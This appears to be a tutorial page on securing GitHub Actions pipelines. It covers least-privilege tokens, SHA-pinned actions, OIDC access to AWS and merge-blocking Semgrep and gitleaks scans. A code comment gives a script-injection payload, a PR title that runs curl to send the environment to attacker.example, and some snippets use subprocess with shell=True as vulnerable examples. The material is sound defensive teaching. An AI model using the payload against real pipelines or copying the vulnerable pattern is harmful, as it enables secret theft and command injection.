Step 08 of 25 · branch option
CI/CD security with GitHub Actions
Build a GitHub Actions pipeline with least-privilege tokens, pinned actions, OIDC cloud access and a security scan that blocks merges.
Your CI/CD system runs every commit, holds your deploy credentials and can push to production: a prime target, and your best place to enforce security checks. In this lesson you'll build a GitHub Actions pipeline for a Node.js service: its structure and triggers, where jobs run, least-privilege permissions, safe caching, deploying to AWS without stored keys, and a failing security scan that blocks the merge. (If your team uses GitLab, the GitLab CI/CD lesson covers the same ground for that platform.)
Workflows, jobs and steps
A workflow is a YAML file in .github/workflows/ in your repository. It contains one or more jobs; each job runs on a fresh machine called a runner and consists of steps. A step either runs shell commands (run:) or uses a reusable action (uses:), which is code from another repository. Jobs run in parallel unless you link them with needs:.
# .github/workflows/ci.yml
name: ci
on:
pull_request:
branches: [main]
push:
branches: [main]
permissions:
contents: read
jobs:
test:
name: test
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm testThe workflow runs on pull requests to main and pushes to main, gives the automatic token read access to contents only, and has one job that checks out the code, installs Node 22 with npm caching, installs locked dependencies and runs the tests. If any step exits non-zero, the job fails and the pull request shows a red check.
The long hexadecimal strings are security decisions; the rest of this lesson explains them.
Triggers and the trust they imply
The on: key decides which events start the workflow. The event determines whose code runs and which secrets are available, so choosing a trigger is a security decision.
| Trigger | Runs when | Code that runs | Secrets available |
|---|---|---|---|
push | Commits are pushed to a branch or tag | The pushed commit | Yes |
pull_request | A PR is opened or updated | The PR's merge commit | Yes for same-repo PRs; no for PRs from forks (read-only token) |
pull_request_target | A PR is opened or updated | The base branch's workflow, with full base-repo permissions | Yes, even for forks |
workflow_dispatch | Someone clicks "Run workflow" or calls the API | The chosen ref | Yes |
schedule | On a cron schedule (UTC) | The default branch | Yes |
Fork protections exist because anyone can open a PR against a public repository, and their code runs in your workflow. Repository settings can also require approval before workflows run for first-time contributors.
Filters (branches, tags, paths) narrow triggers further, and schedule suits nightly scans that catch newly published vulnerabilities.
Script injection
Event data such as PR titles, branch names and issue bodies is attacker-controlled. The ${{ }} syntax is substituted into the script before the shell runs it, so this is shell injection:
# Vulnerable: a PR titled a"; curl -d "$(env)" https://attacker.example; echo " runs the curl,
# sending the step's environment, including any secrets passed to it
- run: echo "Checking PR: ${{ github.event.pull_request.title }}"Pass untrusted values through environment variables instead. The shell then treats them as data:
# Fixed
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Checking PR: $PR_TITLE"Runners
GitHub-hosted runners (ubuntu-24.04, windows-2025, macos-15) are fresh virtual machines created for each job and destroyed afterwards, so nothing a compromised dependency installed survives into the next job. Prefer a specific image over ubuntu-latest so the environment only changes with a commit.
Self-hosted runners are machines you register yourself. They change the picture:
- By default they are reused between jobs, so one job can backdoor the next. Configure them as ephemeral (one job each).
- Never attach self-hosted runners to public repositories. A fork PR could run arbitrary code on a machine inside your network.
- Give them minimal network and cloud access, and use runner groups to limit which repositories may use them.
Least privilege for tokens and actions
The GITHUB_TOKEN
Every job gets an automatic GITHUB_TOKEN for the GitHub API. It expires with the job, but until then it can do whatever its permissions allow, and depending on organisation settings the default may be read-write. Declare permissions explicitly: a restrictive default at the top, widened per job only where needed:
permissions: {} # workflow default: nothing
jobs:
test:
permissions:
contents: read # enough to check out code
# ...
comment:
permissions:
contents: read
pull-requests: write # this job posts a PR comment
# ...Unlisted scopes are none. Common ones: contents, pull-requests, issues, packages, security-events, id-token (OIDC, below) and actions.
persist-credentials: false on actions/checkout stops it storing the token in the local Git configuration, so later steps (including third-party tools) can't pick it up from disk. Leave it on only for jobs that push commits.
Pinning actions to a commit SHA
uses: actions/checkout@v7 refers to a tag, and tags are mutable: the action's owner, or anyone who compromises their account, can move v7 to different code at any time, and your next run executes it with your secrets. This happened in March 2025, when the popular tj-actions/changed-files action was compromised and its version tags were repointed to a commit that dumped runner secrets into build logs. Thousands of repositories ran it.
A full 40-character commit SHA is immutable; it identifies one exact tree of code. Pin every third-party action to a SHA, and keep the human-readable version in a comment:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1Find a release's SHA on its releases page or with git ls-remote --tags https://github.com/actions/checkout. Let Dependabot propose updates; it understands SHA pins and updates the version comment:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weeklyUpdates arrive as pull requests that go through review and required checks. Organisation admins can also enforce SHA pinning and an allowlist of permitted actions.
Caching without poisoning
Installing dependencies on every run is slow. actions/setup-node with cache: npm caches npm's download cache, keyed on a hash of package-lock.json. For other tools use actions/cache directly:
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
path: ~/go/pkg/mod
key: ${{ runner.os }}-gomod-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-gomod-The key changes whenever go.sum changes; restore-keys allows a partial match. Lockfile-verifying installs (npm ci, Go's go.sum checks) keep a corrupted cache from changing what you build.
Think about who can write caches. A run can read caches from its own branch and the default branch, and PR caches are isolated to that PR. The danger is untrusted code running in the default-branch context (for example via pull_request_target) and writing a poisoned cache that later runs, including releases, restore. Never cache secrets or shippable outputs, and turn caching off in release and deploy jobs (package-manager-cache: false on setup-node).
Secrets, environments and OIDC
Repository and environment secrets
Store credentials under Settings > Secrets and variables > Actions and reference them as ${{ secrets.NAME }}. GitHub masks secret values in logs (best effort: a transformed value, such as base64, is not masked), and secrets aren't passed to workflows triggered from forks.
For deployment credentials, use environment secrets. An environment (Settings > Environments), such as production, can require named reviewers to approve each deployment and can restrict which branches may deploy to it. Its secrets are only available to jobs that declare environment: production and pass those rules. A malicious PR branch can't deploy, and can't read production secrets, even if it edits the workflow.
OIDC instead of long-lived cloud keys
The traditional setup stores an AWS access key as a secret. It never expires, anyone who can modify a workflow can exfiltrate it, and rotating it is a chore. OpenID Connect (OIDC) removes it. Each job can request a short-lived token signed by GitHub, describing exactly which repository, branch and environment it runs for. AWS verifies the signature and the claims, and returns temporary credentials for a role that expire after an hour or less.
On the AWS side, create an IAM OIDC identity provider for https://token.actions.githubusercontent.com with audience sts.amazonaws.com, and a role whose trust policy accepts only tokens for your repository's production environment:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production"
}
}
}
]
}The sub (subject) condition is the security boundary. Without it, any GitHub repository could assume your role. Its format depends on the job: repo:OWNER/REPO:environment:NAME for jobs with an environment, repo:OWNER/REPO:ref:refs/heads/main for a branch, repo:OWNER/REPO:pull_request for PRs. Repositories created on or after 15 July 2026 emit an immutable form that includes numeric IDs (repo:acme@123456/shop@789012:environment:production), so a deleted-and-recreated name can't match an old policy; check which form yours sends before writing the policy. Attach a permissions policy to the role that allows only what deployment needs.
The workflow requests the token with id-token: write, which allows the job to mint an OIDC token, not to write anything to the repository:
# .github/workflows/deploy.yml
name: deploy
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-24.04
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
with:
role-to-assume: arn:aws:iam::123456789012:role/shop-deploy-production
aws-region: eu-west-1
- run: aws sts get-caller-identity
- run: ./scripts/deploy.sh{
"UserId": "AROA3EXAMPLEROLEID:GitHubActions",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/shop-deploy-production/GitHubActions"
}Here is what configure-aws-credentials does behind that one step. Watch where trust is checked: GitHub vouches for the job, AWS checks that claim against the role's trust policy, and the only credentials the job ever holds expire within the hour.
No AWS secret exists anywhere in GitHub. Google Cloud and Azure support the same pattern with their own login actions.
Blocking merges on a security scan
Now add the checks. Two jobs go into ci.yml: a static analysis scan with Semgrep, and a secret scan with gitleaks. Each exits non-zero when it finds a problem, which fails the job:
security-scan:
name: security-scan
runs-on: ubuntu-24.04
timeout-minutes: 15
container:
image: semgrep/semgrep:1.179.0@sha256:93963d9295a366f59e4850127b1550400ee7b388f04fe144e4a1f6325d96e01b
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- run: semgrep scan --config p/default --error --metrics=off
secret-scan:
name: secret-scan
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
fetch-depth: 0 # full history, so old commits are scanned too
persist-credentials: false
- name: Install gitleaks (checksum verified)
env:
VERSION: 8.30.1
SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb
run: |
curl -sSfL -o gitleaks.tgz \
"https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz"
echo "${SHA256} gitleaks.tgz" | sha256sum --check
tar -xzf gitleaks.tgz gitleaks
- run: ./gitleaks git --redact --verbose .The image is pinned by digest and the binary checked against the release checksum, for the same reason actions are pinned by SHA. --error makes Semgrep exit 1 on findings. The log looks like this (abridged; rule counts and wording vary by Semgrep version):
src/admin/ping.py
❯❯❱ python.lang.security.audit.subprocess-shell-true.subprocess-shell-true
❰❰ Blocking ❱❱
Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this
call will spawn the command using a shell process. Doing so propagates current shell
settings and variables, which makes it much easier for a malicious actor to execute
commands. Use 'shell=False' instead.
4┆ return subprocess.run(f"ping -c 1 {host}", shell=True)
Error: Process completed with exit code 1.A red job alone doesn't stop anyone clicking "Merge". To make it a gate, add a branch ruleset: Settings > Rules > Rulesets > New branch ruleset, target the default branch, set enforcement to Active, and enable:
- Require a pull request before merging, with at least one approval, "Dismiss stale pull request approvals when new commits are pushed", and "Require review from Code Owners".
- Require status checks to pass, adding
test,security-scanandsecret-scan(the jobnamevalues), and "Require branches to be up to date before merging". - Block force pushes and Restrict deletions.
Protect the pipeline definition itself with a CODEOWNERS file, so changes to workflows need approval from the platform team:
# .github/CODEOWNERS
/.github/workflows/ @acme/platform-security
/.github/CODEOWNERS @acme/platform-securityPractice
In a repository you control (a new private one is fine):
- Add
ci.ymlwithtest,security-scanandsecret-scanjobs, a workflow-levelpermissions: {}and per-jobcontents: read, all actions pinned to SHAs. - Add a ruleset that requires the three checks and one approval on
main. - Open a PR that adds
subprocess.run(cmd, shell=True)to a Python file and confirm the merge button is blocked. Fix it with an argument list and watch the check go green. - Add
.github/dependabot.ymlfor thegithub-actionsecosystem. - Sketch the
deploy.ymland IAM trust policy for deploying from theproductionenvironment with OIDC.
Show solution
# .github/workflows/ci.yml
name: ci
on:
pull_request:
branches: [main]
push:
branches: [main]
permissions: {}
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
name: test
runs-on: ubuntu-24.04
timeout-minutes: 15
permissions:
contents: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm test
security-scan:
name: security-scan
runs-on: ubuntu-24.04
timeout-minutes: 15
permissions:
contents: read
container:
image: semgrep/semgrep:1.179.0@sha256:93963d9295a366f59e4850127b1550400ee7b388f04fe144e4a1f6325d96e01b
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- run: semgrep scan --config p/default --error --metrics=off
secret-scan:
name: secret-scan
runs-on: ubuntu-24.04
timeout-minutes: 10
permissions:
contents: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
fetch-depth: 0
persist-credentials: false
- name: Install gitleaks (checksum verified)
env:
VERSION: 8.30.1
SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb
run: |
curl -sSfL -o gitleaks.tgz \
"https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz"
echo "${SHA256} gitleaks.tgz" | sha256sum --check
tar -xzf gitleaks.tgz gitleaks
- run: ./gitleaks git --redact --verbose .The vulnerable and fixed code for step 3:
# Fails security-scan
subprocess.run(f"convert {name} out.png", shell=True)
# Passes
subprocess.run(["convert", name, "out.png"], check=True)Ruleset: target main; require a PR with 1 approval and stale-approval dismissal; require status checks test, security-scan, secret-scan and up-to-date branches; block force pushes and deletions. With the vulnerable PR, the merge box shows "Required statuses must pass before merging" and the button is disabled.
For step 5, reuse the OIDC section's deploy.yml and trust policy, with required reviewers and a main-only branch rule on the production environment.
Key takeaways
- Workflows contain jobs that run on fresh runners; triggers decide whose code runs with which secrets. Use
pull_requestfor untrusted code, never build fork code underpull_request_target. - Set
permissions: {}at the top and grant each job only what it needs; usepersist-credentials: falseunless a job pushes. - Pin third-party actions to full commit SHAs (version in a comment) and container images by digest; let Dependabot propose updates.
- Pass event data through
env:to avoid script injection, and keep caching out of release and deploy jobs. - Deploy with OIDC and a tightly conditioned trust policy (
subscoped to repo and environment) instead of stored cloud keys, and protect production with an environment. - Make security jobs required status checks in a branch ruleset, protect workflow files with CODEOWNERS, and never make required jobs conditional.
Check yourself
Quiz
0/4 correct · 4 left
1.Why pin `actions/checkout` to a 40-character commit SHA instead of `@v7`?
2.What does `permissions: id-token: write` allow a job to do?
3.An IAM role trusts token.actions.githubusercontent.com with only an `aud` condition and no `sub` condition. What is the risk?
4.A required check `security-scan` has `if: github.actor != 'dependabot[bot]'`. What happens on Dependabot's PRs?
Concepts in this lesson
One-page notes on each idea, for review or a quick lookup later.
Finished reading?
Mark it complete to fill in your roadmap.